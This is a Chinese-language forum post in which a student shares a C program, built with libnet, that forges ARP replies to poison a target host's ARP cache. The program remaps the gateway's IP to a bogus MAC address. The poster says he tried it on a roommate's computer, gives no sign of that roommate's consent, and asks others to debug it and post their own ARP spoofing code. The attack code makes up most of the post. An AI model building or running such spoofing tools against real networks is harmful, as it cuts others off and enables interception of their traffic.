- 论坛徽章:
- 0
|
最近看了UNP第29章,想写一个ARP欺骗的程序,写成后拿舍友的电脑来试验,结果舍友还能上网,我自己倒不能上网了(我们宿舍四个人用一个路由器),这里把程序贴出来,请大家帮我看看。如果大家之前有写过这类程序,能在下面贴出来给我参考下是最好不过了。。多谢大家!
- #include <unp.h>
- #include <libnet.h>
- #include <net/if_arp.h>
- /*
- * argv[1]为欺骗目标的IP地址,argv[2]为要修改目标主机的ARP表项的IP地址
- * 有了欺骗目标的IP地址后,通过访问ARP缓存来获得目标主机的MAC地址
- * 这是因为目标主机通常和我们在同一个网段,我们可以通过ping目标主机来获得目标主机IP到目标主机MAC地址的ARP表项
- * 举个例子,当输入 “./arpcheat 192.168.1.100 192.168.1.1” 时,则把主机192.168.1.100的ARP表中的192.168.1.1
- * 对应的MAC地址改成 a5:a5:a5:a5:a5:a5
- */
- libnet_t *pnet;
- libnet_ptag_t arptag;
- libnet_ptag_t ethtag;
- int main(int argc, char *argv[])
- {
- int fd;
- struct sockaddr_in *sin;
- struct arpreq arpreq;
- uint8_t mod[4], h_dest[6], h_mod[6], *ptr;
- char errbuf[LIBNET_ERRBUF_SIZE];
- if (argc != 3)
- err_quit("Usage: arpcheat <dest ip> <modified ip>");
- /* 通过访问ARP缓存来获得目标主机的MAC地址 */
- bzero(&arpreq, sizeof(struct arpreq));
- sin = (struct sockaddr_in *) &arpreq.arp_pa;
- sin->sin_family = AF_INET;
- Inet_pton(AF_INET, argv[1], &sin->sin_addr);
- fd = Socket(AF_INET, SOCK_DGRAM, 0);
- strcpy(arpreq.arp_dev, "wlan0");
- Ioctl(fd, SIOCGARP, &arpreq);
- /*
- * mod中存放修改主机的IP,h_dest中存放目标主机的MAC地址
- * h_mod中存入 a5:a5:a5:a5:a5:a5
- */
- Inet_pton(AF_INET, argv[2], mod);
- memcpy(h_dest, &arpreq.arp_ha.sa_data[0], 6);
- memset(h_mod, 0xa5, 6);
- /* 初始化libnet */
- pnet = libnet_init(LIBNET_LINK_ADV, "wlan0", errbuf);
- if (pnet == NULL)
- err_quit("Can't initialize libnet: %s", errbuf);
- /* 构造ARP报文 */
- arptag = libnet_build_arp(
- 1, /* 以太网地址类型 */
- 0x0800, /* IP地址类型 */
- 6, /* 以太网地址长度 */
- 4, /* IP地址长度 */
- ARPOP_REPLY, /* ARP响应 */
- h_mod, /* 发送主机的MAC地址,这里是 a5:a5:a5:a5:a5:a5 */
- mod, /* 发送主机的IP地址 */
- h_dest, /* 目标主机的MAC地址 */
- (uint8_t *) &sin->sin_addr, /* 目标主机的IP地址 */
- NULL,
- 0,
- pnet,
- 0);
- if (arptag == -1)
- err_quit("arptag error");
- /* 构造以太网头部 */
- ethtag = libnet_build_ethernet(
- h_dest, /* 目标主机的MAC地址 */
- h_mod, /* 发送主机的MAC地址 */
- 0x0806, /* 以太网帧类型,这里是ARP */
- NULL,
- 0,
- pnet,
- 0);
- if (ethtag == -1)
- err_quit("ethtag error");
-
- /* 写出以太网帧 */
- if (libnet_write(pnet) < 0)
- printf("lost packet\n");
-
- libnet_destroy(pnet);
-
- return 0;
- }
复制代码 |
|